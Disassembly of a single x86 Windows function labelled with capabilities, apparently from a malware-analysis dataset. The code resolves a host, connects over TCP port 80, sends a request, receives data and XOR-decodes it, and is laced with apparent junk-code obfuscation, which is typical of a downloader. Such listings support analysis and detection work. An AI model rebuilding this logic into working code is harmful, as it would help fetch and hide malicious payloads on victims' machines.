Function at 0x408ee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040d180
push 0xffffffffffffffff
push 0x41f09b
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x427e50]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
mov dword [ebp - 0x14], ebx
fst dword [ebp - 0x34]
fst dword [ebp - 0x38]
xor edx, edx
fldz
mov eax, esi
fst qword [ebp - 0x50]
mov byte [ebp + 0x11bc], dl
fxch st(1)
mov byte [ebp - 4], 1
fst dword [ebp - 0x2c]
mov word [ebp - 0x30], dx
fst dword [ebp - 0x28]
fxch st(1)
lea edx, [eax + 1]
fst qword [ebp - 0x40]
fstp qword [ebp - 0x48]
fstp dword [ebp - 0x20]
jmp 0x408f90
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408f90
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x409282
xor eax, eax
cmp eax, edi
jg 0x408fdd
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408fda
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x408fdd
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x408fc3
inc eax
jmp 0x408fa6
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408fe6
mov edi, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409000
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x4092db
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409020
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409030
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x4254b0
rep movsb byte es:[edi], byte [esi]
call fcn.004020f0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409060
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408460
fldz
xor eax, eax
fstp qword [ebp - 0x24]
mov dword [esi], eax
mov dword [ebp - 0x20], ebx
push esi
mov byte [esi + 4], al
call fcn.0040bd7b
fld dword [0x4254d0]
fld dword [0x4262f0]
add esp, 4
fcompp
fnstsw ax
fld dword [0x4254d0]
fadd qword [0x420378]
fstp dword [0x4254d0]
test ah, 5
jp 0x4090c8
mov cx, word [0x42627c]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fstp qword [ebp - 0x24]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4090d1
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.004086a0
fld dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
fadd qword [0x420a30]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fmulp st(1)
call fcn.0040bcd0
mov dword [ebp - 0x14], eax
fld dword [ebp - 0x28]
fsub qword [0x420378]
push 0x32
push 0x4255b4
fstp dword [ebp - 0x28]
call fcn.004020f0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409130
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004086a0
fld qword [0x420a28]
fstp qword [0x425310]
push 0x32
fldz
push ebx
fstp qword [ebp - 0x24]
push esi
mov dword [ebp - 0x20], ebx
call fcn.0040be10
push esi
call fcn.0040bd7b
fld dword [0x4254d0]
fld dword [0x4262f0]
add esp, 0x10
fcompp
fnstsw ax
fld dword [0x4254d0]
fadd qword [0x420378]
fstp dword [0x4254d0]
test ah, 5
jp 0x4091a6
mov dx, word [0x42627c]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x24]
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4091b0
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004086a0
fld qword [ebp - 0x48]
fsub qword [0x420a20]
push 5
push 0x425558
fstp qword [ebp - 0x48]
call fcn.004020f0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4091f0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004086a0
fldz
xor eax, eax
fstp qword [ebp - 0x48]
mov dword [esi], eax
mov dword [ebp - 0x20], ebx
push esi
mov byte [esi + 4], al
call fcn.0040bd7b
fld dword [0x4254d0]
fld dword [0x4262f0]
add esp, 4
fcompp
fnstsw ax
fld dword [0x4254d0]
fadd qword [0x420378]
fstp dword [0x4254d0]
test ah, 5
jp 0x409258
mov dx, word [0x42627c]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x48]
lea ecx, [ebp]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4092a7
cmp dword [ebp + 0x1b8], 0x10
jb 0x409282
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040b856
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040c345
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
fld qword [ebp - 0x50]
fcomp qword [0x420a18]
fnstsw ax
test ah, 1
jne 0x4092c1
add dword [0x42546c], 0x129ac0e3
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov edi, eax
mov dword [ebp - 0x28], edi
cmp edi, 0xffffffff
jne 0x4092ed
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x409282
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x40927a
cmp dword [ebp + 0x1458], ebx
je 0x40930e
push 4
lea ecx, [ebp + 0x1458]
push ecx
push 0x1006
push 0xffff
push edi
call sub.WS2_32.dll_setsockopt
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
inc dword [ebp - 0x30]
mov esi, eax
mov ax, word [ebp - 0x30]
movsx ecx, ax
mov edx, 0x7ab4796
sub edx, ecx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fadd dword [0x4273b8]
fstp dword [0x4273b8]
cmp esi, ebx
je 0x4092db
fld qword [ebp - 0x40]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x40]
mov cx, word [0x425468]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fmul qword [ebp - 0x40]
call fcn.0040bcd0
mov word [0x425468], ax
fld dword [0x426ef8]
fadd qword [0x420a10]
mov eax, 2
mov word [ebp + 0x190], ax
fsub qword [0x420a08]
fadd qword [ebp - 0x40]
fstp qword [ebp - 0x40]
fadd dword [0x426ef8]
fstp dword [0x426ef8]
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call fcn.0040b5bc
mov esi, 0x10
push esi
lea ecx, [ebp + 0x190]
push ecx
push edi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x4093e7
cmp dword [ebp + 0x1b8], esi
jmp 0x409271
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], esi
jae 0x4093fb
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push edi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x40941d
cmp dword [ebp + 0x1b8], esi
jmp 0x409271
fld dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
fsub qword [0x420a00]
push ebx
push 0x4209f8
fstp dword [ebp - 0x20]
call fcn.00408460
fld dword [ebp - 0x34]
or edi, 0xffffffff
fstp dword [0x4252e0]
or ebx, edi
mov ecx, dword [ebp - 0x28]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
add dword [0x426f98], 0x5f63703b
test eax, eax
jg 0x40948b
mov dx, word [0x42551c]
movsx eax, dx
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fadd dword [0x425684]
fstp dword [0x425684]
jmp 0x4095f0
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.004086a0
test edi, edi
jge 0x409589
add dword [ebp - 0x14], 0x9136e892
push 5
push 0x425558
call fcn.004020f0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4094c0
mov ecx, dword [ebp - 0x1c]
sub eax, edx
push eax
push 0
push esi
call fcn.00404330
push esi
push 5
mov edi, eax
call fcn.00401af0
add esp, 8
test edi, edi
jl 0x409589
fld qword [0x4254d8]
add edi, 4
fsub qword [0x4209f0]
fcomp qword [0x4209e8]
fnstsw ax
test ah, 0x44
jnp 0x409544
fld dword [ebp - 0x38]
fsub qword [0x4209e0]
fcomp qword [0x4209d8]
fnstsw ax
test ah, 0x41
jne 0x409544
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
fild dword [ebp - 0x20]
fld dword [ebp - 0x2c]
fsub qword [0x4209d0]
fsubp st(1)
call fcn.0040bcd0
mov dword [ebp - 0x14], eax
fld dword [ebp - 0x2c]
fadd qword [0x420378]
fstp dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00407370
mov ebx, eax
add esp, 4
mov dword [ebp - 0x20], ebx
test ebx, ebx
jge 0x40958d
push 0xb
push 0x4273c8
call fcn.004020f0
mov ecx, dword [ebp - 0x1c]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405f80
push esi
push 0xb
mov ebx, eax
call fcn.00401af0
add esp, 8
test ebx, ebx
jge 0x4095f0
mov ebx, dword [ebp - 0x20]
test ebx, ebx
jl 0x409599
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x4095f0
fld qword [0x426ee0]
mov edx, dword [ebp - 0x14]
fsub qword [0x4209c8]
mov dword [ebp - 0x20], edx
fild dword [ebp - 0x20]
fmulp st(1)
call fcn.0040bcd0
mov dword [ebp - 0x14], eax
fld qword [0x426ee0]
cmp dword [ebp + 0x1458], 0
fadd qword [0x420378]
fstp qword [0x426ee0]
je 0x4096d6
mov eax, dword [ebp - 0x1c]
fld dword [0x4209c0]
cmp dword [eax + 0x14], 0x4000
fstp dword [ebp - 0x38]
jb 0x4096d6
mov ecx, dword [ebp - 0x28]
push ecx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x409611
push edi
mov edi, dword [ebp - 0x1c]
push 0
mov ecx, edi
call fcn.00405ef0
jmp 0x409614
mov edi, dword [ebp - 0x1c]
fld dword [ebp - 0x34]
mov bl, byte [ebp + 0x1454]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x34]
fld dword [ebp - 0x2c]
fld dword [ebp - 0x34]
fadd qword [0x4209b8]
fsubp st(1)
fstp dword [ebp - 0x2c]
test bl, bl
je 0x409673
fstp st(0)
xor esi, esi
nop
cmp esi, dword [edi + 0x14]
jae 0x409671
mov edx, 0x2f4c
mov word [ebp - 0x30], dx
cmp esi, dword [edi + 0x14]
jbe 0x409658
call fcn.0040c4b1
cmp dword [edi + 0x18], 0x10
jb 0x409667
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x409640
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x409640
fld1
fld dword [0x4254f8]
fadd qword [0x4252e8]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
faddp st(1)
fld qword [ebp - 0x40]
dec dword [ebp - 0x14]
fucompp
fnstsw ax
fld dword [0x4254f8]
fsub st(1)
fstp dword [0x4254f8]
fadd qword [0x4252e8]
fstp qword [0x4252e8]
test ah, 0x44
jp 0x4096bd
add dword [0x426efc], 0xf1b6e49e
cmp dword [ebp + 0x1b8], 0x10
jb 0x409282
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x40927a
mov edx, dword [ebp - 0x14]
mov eax, 0x6387babf
sub eax, edx
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x14]
jmp 0x409445